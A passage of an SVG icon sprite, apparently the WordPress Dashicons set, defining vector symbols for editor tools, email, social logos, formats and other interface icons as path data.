20" id="editor-paragraph"><title>editor-paragraph</title><g><path d="M15 2H7.54c-.83 0-1.59.2-2.28.6-.7.41-1.25.96-1.65 1.65C3.2 4.94 3 5.7 3 6.52s.2 1.58.61 2.27c.4.69.95 1.24 1.65 1.64.69.41 1.45.61 2.28.61h.43V17c0 .27.1.51.29.71.2.19.44.29.71.29.28 0 .51-.1.71-.29.2-.2.3-.44.3-.71V5c0-.27.09-.51.29-.71.2-.19.44-.29.71-.29s.51.1.71.29c.19.2.29.44.29.71v12c0 .27.1.51.3.71.2.19.43.29.71.29.27 0 .51-.1.71-.29.19-.2.29-.44.29-.71V4H15c.27 0 .5-.1.7-.3.2-.19.3-.43.3-.7s-.1-.51-.3-.71C15.5 2.1 15.27 2 15 2z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-paste-text"><title>editor-paste-text</title><g><path d="M12.38 2L15 5v1H5V5l2.64-3h4.74zM10 5c.55 0 1-.44 1-1 0-.55-.45-1-1-1s-1 .45-1 1c0 .56.45 1 1 1zm5.45-1H17c.55 0 1 .45 1 1v12c0 .56-.45 1-1 1H3c-.55 0-1-.44-1-1V5c0-.55.45-1 1-1h1.55L4 4.63V7h12V4.63zM14 11V9H6v2h3v5h2v-5h3z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-paste-word"><title>editor-paste-word</title><g><path d="M12.38 2L15 5v1H5V5l2.64-3h4.74zM10 5c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1zm8 12V5c0-.55-.45-1-1-1h-1.54l.54.63V7H4V4.62L4.55 4H3c-.55 0-1 .45-1 1v12c0 .55.45 1 1 1h14c.55 0 1-.45 1-1zm-3-8l-2 7h-2l-1-5-1 5H6.92L5 9h2l1 5 1-5h2l1 5 1-5h2z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-quote"><title>editor-quote</title><g><path d="M9.49 13.22c0-.74-.2-1.38-.61-1.9-.62-.78-1.83-.88-2.53-.72-.29-1.65 1.11-3.75 2.92-4.65L7.88 4c-2.73 1.3-5.42 4.28-4.96 8.05C3.21 14.43 4.59 16 6.54 16c.85 0 1.56-.25 2.12-.75s.83-1.18.83-2.03zm8.05 0c0-.74-.2-1.38-.61-1.9-.63-.78-1.83-.88-2.53-.72-.29-1.65 1.11-3.75 2.92-4.65L15.93 4c-2.73 1.3-5.41 4.28-4.95 8.05.29 2.38 1.66 3.95 3.61 3.95.85 0 1.56-.25 2.12-.75s.83-1.18.83-2.03z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-removeformatting"><title>editor-removeformatting</title><g><path d="M14.29 4.59l1.1 1.11c.41.4.61.94.61 1.47v2.12c0 .53-.2 1.07-.61 1.47l-6.63 6.63c-.4.41-.94.61-1.47.61s-1.07-.2-1.47-.61l-1.11-1.1-1.1-1.11c-.41-.4-.61-.94-.61-1.47v-2.12c0-.54.2-1.07.61-1.48l6.63-6.62c.4-.41.94-.61 1.47-.61s1.06.2 1.47.61zm-6.21 9.7l6.42-6.42c.39-.39.39-1.03 0-1.43L12.36 4.3c-.19-.19-.45-.29-.72-.29s-.52.1-.71.29l-6.42 6.42c-.39.4-.39 1.04 0 1.43l2.14 2.14c.38.38 1.04.38 1.43 0z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-rtl"><title>editor-rtl</title><g><path d="M13 2H5.5C3 2 1 4 1 6.5S3 11 5.5 11H6v6c0 .5.5 1 1 1s1-.5 1-1V5c0-.5.5-1 1-1s1 .5 1 1v12c0 .5.5 1 1 1s1-.5 1-1V4h1c.5 0 1-.5 1-1s-.5-1-1-1zm1 8l5 4V6l-5 4z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-spellcheck"><title>editor-spellcheck</title><g><path d="M15.84 2.76c.25 0 .49.04.71.11.23.07.44.16.64.25l.35-.81c-.52-.26-1.08-.39-1.69-.39-.58 0-1.09.13-1.52.37-.43.25-.76.61-.99 1.08C13.11 3.83 13 4.38 13 5c0 .99.23 1.75.7 2.28s1.15.79 2.02.79c.6 0 1.13-.09 1.6-.26v-.84c-.26.08-.51.14-.74.19-.24.05-.49.08-.74.08-.59 0-1.04-.19-1.34-.57-.32-.37-.47-.93-.47-1.66 0-.7.16-1.25.48-1.65.33-.4.77-.6 1.33-.6zM6.5 8h1.04L5.3 2H4.24L2 8h1.03l.58-1.66H5.9zM8 2v6h2.17c.67 0 1.19-.15 1.57-.46.38-.3.56-.72.56-1.26 0-.4-.1-.72-.3-.95-.19-.24-.5-.39-.93-.47v-.04c.35-.06.6-.21.78-.44.18-.24.28-.53.28-.88 0-.52-.19-.9-.56-1.14-.36-.24-.96-.36-1.79-.36H8zm.98 2.48V2.82h.85c.44 0 .77.06.97.19.21.12.31.33.31.61 0 .31-.1.53-.29.66-.18.13-.48.2-.89.2h-.95zM5.64 5.5H3.9l.54-1.56c.14-.4.25-.76.32-1.1l.15.52c.07.23.13.4.17.51zm3.34-.23h.99c.44 0 .76.08.98.23.21.15.32.38.32.69 0 .34-.11.59-.32.75s-.52.24-.93.24H8.98V5.27zM4 13l5 5 9-8-1-1-8 6-4-3z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-strikethrough"><title>editor-strikethrough</title><g><path d="M15.82 12.25c.26 0 .5-.02.74-.07.23-.05.48-.12.73-.2v.84c-.46.17-.99.26-1.58.26-.88 0-1.54-.26-2.01-.79-.39-.44-.62-1.04-.68-1.79h-.94c.12.21.18.48.18.79 0 .54-.18.95-.55 1.26-.38.3-.9.45-1.56.45H8v-2.5H6.59l.93 2.5H6.49l-.59-1.67H3.62L3.04 13H2l.93-2.5H2v-1h1.31l.93-2.49H5.3l.92 2.49H8V7h1.77c1 0 1.41.17 1.77.41.37.24.55.62.55 1.13 0 .35-.09.64-.27.87l-.08.09h1.29c.05-.4.15-.77.31-1.1.23-.46.55-.82.98-1.06.43-.25.93-.37 1.51-.37.61 0 1.17.12 1.69.38l-.35.81c-.2-.1-.42-.18-.64-.25s-.46-.11-.71-.11c-.55 0-.99.2-1.31.59-.23.29-.38.66-.44 1.11H17v1h-2.95c.06.5.2.9.44 1.19.3.37.75.56 1.33.56zM4.44 8.96l-.18.54H5.3l-.22-.61c-.04-.11-.09-.28-.17-.51-.07-.24-.12-.41-.14-.51-.08.33-.18.69-.33 1.09zm4.53-1.09V9.5h1.19c.28-.02.49-.09.64-.18.19-.13.28-.35.28-.66 0-.28-.1-.48-.3-.61-.2-.12-.53-.18-.97-.18h-.84zm-3.33 2.64v-.01H3.91v.01h1.73zm5.28.01l-.03-.02H8.97v1.68h1.04c.4 0 .71-.08.92-.23.21-.16.31-.4.31-.74 0-.31-.11-.54-.32-.69z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-table"><title>editor-table</title><g><path d="M18 17V3H2v14h16zM16 7H4V5h12v2zm-7 4H4V9h5v2zm7 0h-5V9h5v2zm-7 4H4v-2h5v2zm7 0h-5v-2h5v2z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-textcolor"><title>editor-textcolor</title><g><path d="M13.23 15h1.9L11 4H9L5 15h1.88l1.07-3h4.18zm-1.53-4.54H8.51L10 5.6z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-ul"><title>editor-ul</title><g><path d="M5.5 7C4.67 7 4 6.33 4 5.5 4 4.68 4.67 4 5.5 4 6.32 4 7 4.68 7 5.5 7 6.33 6.32 7 5.5 7zM8 5h9v1H8V5zm-2.5 7c-.83 0-1.5-.67-1.5-1.5C4 9.68 4.67 9 5.5 9c.82 0 1.5.68 1.5 1.5 0 .83-.68 1.5-1.5 1.5zM8 10h9v1H8v-1zm-2.5 7c-.83 0-1.5-.67-1.5-1.5 0-.82.67-1.5 1.5-1.5.82 0 1.5.68 1.5 1.5 0 .83-.68 1.5-1.5 1.5zM8 15h9v1H8v-1z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-underline"><title>editor-underline</title><g><path d="M14 5h-2v5.71c0 1.99-1.12 2.98-2.45 2.98-1.32 0-2.55-1-2.55-2.96V5H5v5.87c0 1.91 1 4.54 4.48 4.54 3.49 0 4.52-2.58 4.52-4.5V5zm0 13v-2H5v2h9z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-unlink"><title>editor-unlink</title><g><path d="M17.74 2.26c1.68 1.69 1.68 4.41 0 6.1l-1.53 1.52c-.32.33-.69.58-1.08.77L13 10l1.69-1.64.76-.77.76-.76c.84-.84.84-2.2 0-3.04-.84-.85-2.2-.85-3.04 0l-.77.76-.76.76L10 7l-.65-2.14c.19-.38.44-.75.77-1.07l1.52-1.53c1.69-1.68 4.42-1.68 6.1 0zM2 4l8 6-6-8zm4-2l4 8-2-8H6zM2 6l8 4-8-2V6zm7.36 7.69L10 13l.74 2.35-1.38 1.39c-1.69 1.68-4.41 1.68-6.1 0-1.68-1.68-1.68-4.42 0-6.1l1.39-1.38L7 10l-.69.64-1.52 1.53c-.85.84-.85 2.2 0 3.04.84.85 2.2.85 3.04 0zM18 16l-8-6 6 8zm-4 2l-4-8 2 8h2zm4-4l-8-4 8 2v2z"/></g></symbol><symbol viewBox="0 0 20 20" id="editor-video"><title>editor-video</title><g><path d="M16 2h-3v1H7V2H4v15h3v-1h6v1h3V2zM6 3v1H5V3h1zm9 0v1h-1V3h1zm-2 1v5H7V4h6zM6 5v1H5V5h1zm9 0v1h-1V5h1zM6 7v1H5V7h1zm9 0v1h-1V7h1zM6 9v1H5V9h1zm9 0v1h-1V9h1zm-2 1v5H7v-5h6zm-7 1v1H5v-1h1zm9 0v1h-1v-1h1zm-9 2v1H5v-1h1zm9 0v1h-1v-1h1zm-9 2v1H5v-1h1zm9 0v1h-1v-1h1z"/></g></symbol><symbol viewBox="0 0 20 20" id="ellipsis"><title>ellipsis</title><g><path d="M5 10c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2 2 .9 2 2zm12-2c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm-7 0c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z"/></g></symbol><symbol viewBox="0 0 20 20" id="email-alt"><title>email-alt</title><g><path d="M19 14.5v-9c0-.83-.67-1.5-1.5-1.5H3.49c-.83 0-1.5.67-1.5 1.5v9c0 .83.67 1.5 1.5 1.5H17.5c.83 0 1.5-.67 1.5-1.5zm-1.31-9.11c.33.33.15.67-.03.84L13.6 9.95l3.9 4.06c.12.14.2.36.06.51-.13.16-.43.15-.56.05l-4.37-3.73-2.14 1.95-2.13-1.95-4.37 3.73c-.13.1-.43.11-.56-.05-.14-.15-.06-.37.06-.51l3.9-4.06-4.06-3.72c-.18-.17-.36-.51-.03-.84s.67-.17.95.07l6.24 5.04 6.25-5.04c.28-.24.62-.4.95-.07z"/></g></symbol><symbol viewBox="0 0 20 20" id="email-alt2"><title>email-alt2</title><g><path d="M16 1.1L4 5.9c-1.1.4-2 1.8-2 3v8.7c0 1.2.9 1.8 2 1.4l12-4.8c1.1-.4 2-1.8 2-3V2.5c0-1.2-.9-1.8-2-1.4zm.6 2.6l-6 9.3-6.7-4.5c-.1-.1-.4-.4-.2-.7.2-.4.7-.2.7-.2l6.3 2.3s4.8-6.3 5.1-6.7c.1-.2.4-.3.7-.1.3.2.2.5.1.6z"/></g></symbol><symbol viewBox="0 0 20 20" id="email"><title>email</title><g><path d="M3.87 4h13.25C18.37 4 19 4.59 19 5.79v8.42c0 1.19-.63 1.79-1.88 1.79H3.87c-1.25 0-1.88-.6-1.88-1.79V5.79c0-1.2.63-1.79 1.88-1.79zm6.62 8.6l6.74-5.53c.24-.2.43-.66.13-1.07-.29-.41-.82-.42-1.17-.17l-5.7 3.86L4.8 5.83c-.35-.25-.88-.24-1.17.17-.3.41-.11.87.13 1.07z"/></g></symbol><symbol viewBox="0 0 20 20" id="embed-audio"><title>embed-audio</title><g><path d="M17 4H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-7 3H7v4c0 1.1-.9 2-2 2s-2-.9-2-2 .9-2 2-2c.4 0 .7.1 1 .3V5h4v2zm4 3.5L12.5 12l1.5 1.5V15l-3-3 3-3v1.5zm1 4.5v-1.5l1.5-1.5-1.5-1.5V9l3 3-3 3z"/></g></symbol><symbol viewBox="0 0 20 20" id="embed-generic"><title>embed-generic</title><g><path d="M17 4H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-3 6.5L12.5 12l1.5 1.5V15l-3-3 3-3v1.5zm1 4.5v-1.5l1.5-1.5-1.5-1.5V9l3 3-3 3z"/></g></symbol><symbol viewBox="0 0 20 20" id="embed-photo"><title>embed-photo</title><g><path d="M17 4H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-7 8H3V6h7v6zm4-1.5L12.5 12l1.5 1.5V15l-3-3 3-3v1.5zm1 4.5v-1.5l1.5-1.5-1.5-1.5V9l3 3-3 3zm-6-4V8.5L7.2 10 6 9.2 4 11h5zM4.6 8.6c.6 0 1-.4 1-1s-.4-1-1-1-1 .4-1 1 .4 1 1 1z"/></g></symbol><symbol viewBox="0 0 20 20" id="embed-post"><title>embed-post</title><g><path d="M17 4H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zM8.6 9l-.4.3c-.4.4-.5 1.1-.2 1.6l-.8.8-1.1-1.1-1.3 1.3c-.2.2-1.6 1.3-1.8 1.1-.2-.2.9-1.6 1.1-1.8l1.3-1.3-1.1-1.1.8-.8c.5.3 1.2.3 1.6-.2l.3-.3c.5-.5.5-1.2.2-1.7L8 5l3 2.9-.8.8c-.5-.2-1.2-.2-1.6.3zm5.4 1.5L12.5 12l1.5 1.5V15l-3-3 3-3v1.5zm1 4.5v-1.5l1.5-1.5-1.5-1.5V9l3 3-3 3z"/></g></symbol><symbol viewBox="0 0 20 20" id="embed-video"><title>embed-video</title><g><path d="M17 4H3c-1.1 0-2 .9-2 2v8c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-7 6.5L8 9.1V11H3V6h5v1.8l2-1.3v4zm4 0L12.5 12l1.5 1.5V15l-3-3 3-3v1.5zm1 4.5v-1.5l1.5-1.5-1.5-1.5V9l3 3-3 3z"/></g></symbol><symbol viewBox="0 0 20 20" id="excerpt-view"><title>excerpt-view</title><g><path d="M19 18V2c0-.55-.45-1-1-1H2c-.55 0-1 .45-1 1v16c0 .55.45 1 1 1h16c.55 0 1-.45 1-1zM4 3c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1zm13 0v6H6V3h11zM4 11c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1zm13 0v6H6v-6h11z"/></g></symbol><symbol viewBox="0 0 20 20" id="exit"><title>exit</title><g><path d="M13 3v2h2v10h-2v2h4V3h-4zm0 8V9H5.4l4.3-4.3-1.4-1.4L1.6 10l6.7 6.7 1.4-1.4L5.4 11H13z"/></g></symbol><symbol viewBox="0 0 20 20" id="external"><title>external</title><g><path d="M9 3h8v8l-2-1V6.92l-5.6 5.59-1.41-1.41L14.08 5H10zm3 12v-3l2-2v7H3V6h8L9 8H5v7h7z"/></g></symbol><symbol viewBox="0 0 20 20" id="facebook-alt"><title>facebook-alt</title><g><path d="M8.46 18h2.93v-7.3h2.45l.37-2.84h-2.82V6.04c0-.82.23-1.38 1.41-1.38h1.51V2.11c-.26-.03-1.15-.11-2.19-.11-2.18 0-3.66 1.33-3.66 3.76v2.1H6v2.84h2.46V18z"/></g></symbol><symbol viewBox="0 0 20 20" id="facebook"><title>facebook</title><g><path d="M2.89 2h14.23c.49 0 .88.39.88.88v14.24c0 .48-.39.88-.88.88h-4.08v-6.2h2.08l.31-2.41h-2.39V7.85c0-.7.2-1.18 1.2-1.18h1.28V4.51c-.22-.03-.98-.09-1.86-.09-1.85 0-3.11 1.12-3.11 3.19v1.78H8.46v2.41h2.09V18H2.89c-.49 0-.89-.4-.89-.88V2.88c0-.49.4-.88.89-.88z"/></g></symbol><symbol viewBox="0 0 20 20" id="feedback"><title>feedback</title><g><path d="M2 2h16c.55 0 1 .45 1 1v14c0 .55-.45 1-1 1H2c-.55 0-1-.45-1-1V3c0-.55.45-1 1-1zm15 14V7H3v9h14zM4 8v1h3V8H4zm4 0v3h8V8H8zm-4 4v1h3v-1H4zm4 0v3h8v-3H8z"/></g></symbol><symbol viewBox="0 0 20 20" id="filter"><title>filter</title><g><path d="M3 4.5v-2s3.34-1 7-1 7 1 7 1v2l-5 7.03v6.97s-1.22-.09-2.25-.59S8 16.5 8 16.5v-4.97z"/></g></symbol><symbol viewBox="0 0 20 20" id="flag"><title>flag</title><g><path d="M5 18V3H3v15h2zm1-6V4c3-1 7 1 11 0v8c-3 1.27-8-1-11 0z"/></g></symbol><symbol viewBox="0 0 20 20" id="food"><title>food</title><g><path d="M7 4.5c-.3 0-.5.3-.5.5v2.5h-1V5c0-.3-.2-.5-.5-.5s-.5.3-.5.5v2.5h-1V5c0-.3-.2-.5-.5-.5s-.5.3-.5.5v3.3c0 .9.7 1.6 1.5 1.7v7c0 .6.4 1 1 1s1-.4 1-1v-7c.8-.1 1.5-.8 1.5-1.7V5c0-.2-.2-.5-.5-.5zM9 5v6h1v6c0 .6.4 1 1 1s1-.4 1-1V2c-1.7 0-3 1.3-3 3zm7-1c-1.4 0-2.5 1.5-2.5 3.3-.1 1.2.5 2.3 1.5 3V17c0 .6.4 1 1 1s1-.4 1-1v-6.7c1-.7 1.6-1.8 1.5-3C18.5 5.5 17.4 4 16 4z"/></g></symbol><symbol viewBox="0 0 20 20" id="format-aside"><title>format-aside</title><g><path d="M1 1h18v12l-6 6H1V1zm3 3v1h12V4H4zm0 4v1h12V8H4zm6 5v-1H4v1h6zm2 4l5-5h-5v5z"/></g></symbol><symbol viewBox="0 0 20 20" id="format-audio"><title>format-audio</title><g><path d="M6.99 3.08l11.02-2c.55-.08.99.45.99 1V14.5c0 1.94-1.57 3.5-3.5 3.5S12 16.44 12 14.5c0-1.93 1.57-3.5 3.5-3.5.54 0 1.04.14 1.5.35V5.08l-9 2V16c-.24 1.7-1.74 3-3.5 3C2.57 19 1 17.44 1 15.5 1 13.57 2.57 12 4.5 12c.54 0 1.04.14 1.5.35V4.08c0-.55.44-.91.99-1z"/></g></symbol><symbol viewBox="0 0 20 20" id="format-chat"><title>format-chat</title><g><path d="M11 6h-.82C9.07 6 8 7.2 8 8.16V10l-3 3v-3H3c-1.1 0-2-.9-2-2V3c0-1.1.9-2 2-2h6c1.1 0 2 .9 2 2v3zm0 1h6c1.1 0 2 .9 2 2v5c0 1.1-.9 2-2 2h-2v3l-3-3h-1c-1.1 0-2-.9-2-2V9c0-1.1.9-2 2-2z"/></g></symbol><symbol viewBox="0 0 20 20" id="format-gallery"><title>format-gallery</title><g><path d="M16 4h1.96c.57 0 1.04.47 1.04 1.04v12.92c0 .57-.47 1.04-1.04 1.04H5.04C4.47 19 4 18.53 4 17.96V16H2.04C1.47 16 1 15.53 1 14.96V2.04C1 1.47 1.47 1 2.04 1h12.92c.57 0 1.04.47 1.04 1.04V4zM3 14h11V3H3v11zm5-8.5C8 4.67 7.33 4 6.5 4S5 4.67 5 5.5 5.67 7 6.5 7 8 6.33 8 5.5zm2 4.5s1-5 3-5v8H4V7c2 0 2 3 2 3s.33-2 2-2 2 2 2 2zm7 7V6h-1v8.96c0 .57-.47 1.04-1.04 1.04H6v1h11z"/></g></symbol><symbol viewBox="0 0 20 20" id="format-image"><title>format-image</title><g><path d="M2.25 1h15.5c.69 0 1.25.56 1.25 1.25v15.5c0 .69-.56 1.25-1.25 1.25H2.25C1.56 19 1 18.44 1 17.75V2.25C1 1.56 1.56 1 2.25 1zM17 17V3H3v14h14zM10 6c0-1.1-.9-2-2-2s-2 .9-2 2 .9 2 2 2 2-.9 2-2zm3 5s0-6 3-6v10c0 .55-.45 1-1 1H5c-.55 0-1-.45-1-1V8c2 0 3 4 3 4s1-3 3-3 3 2 3 2z"/></g></symbol><symbol viewBox="0 0 20 20" id="format-quote"><title>format-quote</title><g><path d="M8.54 12.74c0-.87-.24-1.61-.72-2.22-.73-.92-2.14-1.03-2.96-.85-.34-1.93 1.3-4.39 3.42-5.45L6.65 1.94C3.45 3.46.31 6.96.85 11.37 1.19 14.16 2.8 16 5.08 16c1 0 1.83-.29 2.48-.88.66-.59.98-1.38.98-2.38zm9.43 0c0-.87-.24-1.61-.72-2.22-.73-.92-2.14-1.03-2.96-.85-.34-1.93 1.3-4.39 3.42-5.45l-1.63-2.28c-3.2 1.52-6.34 5.02-5.8 9.43.34 2.79 1.95 4.63 4.23 4.63 1 0 1.83-.29 2.48-.88.66-.59.98-1.38.98-2.38z"/></g></symbol><symbol viewBox="0 0 20 20" id="format-status"><title>format-status</title><g><path d="M10 1c7 0 9 2.91 9 6.5S17 14 10 14s-9-2.91-9-6.5S3 1 10 1zM5.5 9C6.33 9 7 8.33 7 7.5S6.33 6 5.5 6 4 6.67 4 7.5 4.67 9 5.5 9zM10 9c.83 0 1.5-.67 1.5-1.5S10.83 6 10 6s-1.5.67-1.5 1.5S9.17 9 10 9zm4.5 0c.83 0 1.5-.67 1.5-1.5S15.33 6 14.5 6 13 6.67 13 7.5 13.67 9 14.5 9zM6 14.5c.83 0 1.5.67 1.5 1.5s-.67 1.5-1.5 1.5-1.5-.67-1.5-1.5.67-1.5 1.5-1.5zm-3 2c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1z"/></g></symbol><symbol viewBox="0 0 20 20" id="format-video"><title>format-video</title><g><path d="M2 1h16c.55 0 1 .45 1 1v16l-18-.02V2c0-.55.45-1 1-1zm4 1L4 5h1l2-3H6zm4 0H9L7 5h1zm3 0h-1l-2 3h1zm3 0h-1l-2 3h1zm1 14V6H3v10h14zM8 7l6 4-6 4V7z"/></g></symbol><symbol viewBox="0 0 20 20" id="forms"><title>forms</title><g><path d="M2 2h7v7H2V2zm9 0v7h7V2h-7zM5.5 4.5L7 3H4zM12 8V3h5v5h-5zM4.5 5.5L3 4v3zM8 4L6.5 5.5 8 7V4zM5.5 6.5L4 8h3zM9 18v-7H2v7h7zm9 0h-7v-7h7v7zM8 12v5H3v-5h5zm6.5 1.5L16 12h-3zM12 16l1.5-1.5L12 13v3zm3.5-1.5L17 16v-3zm-1 1L13 17h3z"/></g></symbol><symbol viewBox="0 0 20 20" id="fullscreen-alt"><title>fullscreen-alt</title><g><path d="M7 2H2v5l1.8-1.8L6.5 8 8 6.5 5.2 3.8 7 2zm6 0l1.8 1.8L12 6.5 13.5 8l2.7-2.7L18 7V2h-5zm.5 10L12 13.5l2.7 2.7L13 18h5v-5l-1.8 1.8-2.7-2.8zm-7 0l-2.7 2.7L2 13v5h5l-1.8-1.8L8 13.5 6.5 12z"/></g></symbol><symbol viewBox="0 0 20 20" id="fullscreen-exit-alt"><title>fullscreen-exit-alt</title><g><path d="M3.4 2L2 3.4l2.8 2.8L3 8h5V3L6.2 4.8 3.4 2zm11.8 4.2L18 3.4 16.6 2l-2.8 2.8L12 3v5h5l-1.8-1.8zM4.8 13.8L2 16.6 3.4 18l2.8-2.8L8 17v-5H3l1.8 1.8zM17 12h-5v5l1.8-1.8 2.8 2.8 1.4-1.4-2.8-2.8L17 12z"/></g></symbol><symbol viewBox="0 0 20 20" id="games"><title>games</title><g><path d="M15.9 5.5C15.3 4.5 14.2 4 13 4H7c-1.2 0-2.3.5-2.9 1.5-2.3 3.5-2.8 8.8-1.2 9.9 1.6 1.1 5.2-3.7 7.1-3.7s5.4 4.8 7.1 3.7c1.6-1.1 1.1-6.4-1.2-9.9zM8 9H7v1H6V9H5V8h1V7h1v1h1v1zm5.4.5c0 .5-.4.9-.9.9s-.9-.4-.9-.9.4-.9.9-.9.9.4.9.9zm1.9-2c0 .5-.4.9-.9.9s-.9-.4-.9-.9.4-.9.9-.9.9.4.9.9z"/></g></symbol><symbol viewBox="0 0 20 20" id="google"><title>google</title><g><style>.st0{fill-rule:evenodd;clip-rule:evenodd;}</style><path d="M17.6 8.5h-7.5v3h4.4c-.4 2.1-2.3 3.5-4.4 3.4-2.6-.1-4.6-2.1-4.7-4.7-.1-2.7 2-5 4.7-5.1 1.1 0 2.2.4 3.1 1.2l2.3-2.2C14.1 2.7 12.1 2 10.2 2c-4.4 0-8 3.6-8 8s3.6 8 8 8c4.6 0 7.7-3.2 7.7-7.8-.1-.6-.1-1.1-.3-1.7z"/></g></symbol><symbol viewBox="0 0 20 20" id="googleplus"><title>googleplus</title><g><style>.st0{fill-rule:evenodd;clip-rule:evenodd;}</style><path d="M17.6 8.5h-7.5v3h4.4c-.4 2.1-2.3 3.5-4.4 3.4-2.6-.1-4.6-2.1-4.7-4.7-.1-2.7 2-5 4.7-5.1 1.1 0 2.2.4 3.1 1.2l2.3-2.2C14.1 2.7 12.1 2 10.2 2c-4.4 0-8 3.6-8 8s3.6 8 8 8c4.6 0 7.7-3.2 7.7-7.8-.1-.6-.1-1.1-.3-1.7z"/></g></symbol><symbol viewBox="0 0 20 20" id="grid-view"><title>grid-view</title><g><path d="M2 1h16c.55 0 1 .45 1 1v16c0 .55-.45 1-1 1H2c-.55 0-1-.45-1-1V2c0-.55.45-1 1-1zm7.01 7.99v-6H3v6h6.01zm8 0v-6h-6v6h6zm-8 8.01v-6H3v6h6.01zm8 0v-6h-6v6h6z"/></g></symbol><symbol viewBox="0 0 20 20" id="groups"><title>groups</title><g><path d="M8.03 4.46c-.29 1.28.55 3.46 1.97 3.46 1.41 0 2.25-2.18 1.96-3.46-.22-.98-1.08-1.63-1.96-1.63-.89 0-1.74.65-1.97 1.63zm-4.13.9c-.25 1.08.47 2.93 1.67 2.93s1.92-1.85 1.67-2.93c-.19-.83-.92-1.39-1.67-1.39s-1.48.56-1.67 1.39zm8.86 0c-.25 1.08.47 2.93 1.66 2.93 1.2 0 1.92-1.85 1.67-2.93-.19-.83-.92-1.39-1.67-1.39-.74 0-1.47.56-1.66 1.39zm-.59 11.43l1.25-4.3C14.2 10 12.71 8.47 10 8.47c-2.72 0-4.21 1.53-3.44 4.02l1.26 4.3C8.05 17.51 9 18 10 18c.98 0 1.94-.49 2.17-1.21zm-6.1-7.63c-.49.67-.96 1.83-.42 3.59l1.12 3.79c-.34.2-.77.31-1.2.31-.85 0-1.65-.41-1.85-1.03l-1.07-3.65c-.65-2.11.61-3.4 2.92-3.4.27 0 .54.02.79.06-.1.1-.2.22-.29.33zm8.35-.39c2.31 0 3.58 1.29 2.92 3.4l-1.07 3.65c-.2.62-1 1.03-1.85 1.03-.43 0-.86-.11-1.2-.31l1.11-3.77c.55-1.78.08-2.94-.42-3.61-.08-.11-.18-.23-.28-.33.25-.04.51-.06.79-.06z"/></g></symbol><symbol viewBox="0 0 20 20" id="hammer"><title>hammer</title><g><path d="M17.7 6.32l1.41 1.42-3.47 3.41-1.42-1.42.84-.82c-.32-.76-.81-1.57-1.51-2.31l-4.61 6.59-5.26 4.7c-.39.39-1.02.39-1.42 0l-1.2-1.21c-.39-.39-.39-1.02 0-1.41l10.97-9.92c-1.37-.86-3.21-1.46-5.67-1.48 2.7-.82 4.95-.93 6.58-.3 1.7.66 2.82 2.2 3.91 3.58z"/></g></symbol><symbol viewBox="0 0 20 20" id="heading"><title>heading</title><g><path d="M12.5 4v5.2h-5V4H5v13h2.5v-5.2h5V17H15V4"/></g></symbol><symbol viewBox="0 0 20 20" id="heart"><title>heart</title><g><path d="M10 17.12c3.33-1.4 5.74-3.79 7.04-6.21 1.28-2.41 1.46-4.81.32-6.25-1.03-1.29-2.37-1.78-3.73-1.74s-2.68.63-3.63 1.46c-.95-.83-2.27-1.42-3.63-1.46s-2.7.45-3.73 1.74c-1.14 1.44-.96 3.84.34 6.25 1.28 2.42 3.69 4.81 7.02 6.21z"/></g></symbol><symbol viewBox="0 0 20 20" id="hidden"><title>hidden</title><g><path d="M17.3 3.3c-.4-.4-1.1-.4-1.6 0l-2.4 2.4c-1.1-.4-2.2-.6-3.3-.6-3.8.1-7.2 2.1-9 5.4.2.4.5.8.8 1.2.8 1.1 1.8 2 2.9 2.7L3 16.1c-.4.4-.5 1.1 0 1.6.4.4 1.1.5 1.6 0L17.3 4.9c.4-.5.4-1.2 0-1.6zm-10.6 9l-1.3 1.3c-1.2-.7-2.3-1.7-3.1-2.9C3.5 9 5.1 7.8 7 7.2c-1.3 1.4-1.4 3.6-.3 5.1zM10.1 9c-.5-.5-.4-1.3.1-1.8.5-.4 1.2-.4 1.7 0L10.1 9zm8.2.5c-.5-.7-1.1-1.4-1.8-1.9l-1 1c.8.6 1.5 1.3 2.1 2.2C15.9 13.4 13 15 9.9 15h-.8l-1 1c.7-.1 1.3 0 1.9 0 3.3 0 6.4-1.6 8.3-4.3.3-.4.5-.8.8-1.2-.3-.3-.5-.7-.8-1zM14 10l-4 4c2.2 0 4-1.8 4-4z"/></g></symbol><symbol viewBox="0 0 20 20" id="hourglass"><title>hourglass</title><g><path d="M15.5 16H15c-.1-2.5-.6-4.4-3.3-6 2.6-1.6 3.2-3.5 3.3-6h.5c.6 0 1-.4 1-1s-.4-1-1-1h-11c-.6 0-1 .4-1 1s.4 1 1 1H5c.1 2.5.6 4.4 3.3 6-2.6 1.6-3.2 3.5-3.3 6h-.5c-.6 0-1 .4-1 1s.4 1 1 1h11c.6 0 1-.4 1-1s-.4-1-1-1z"/></g></symbol><symbol viewBox="0 0 20 20" id="html"><title>html</title><g><path 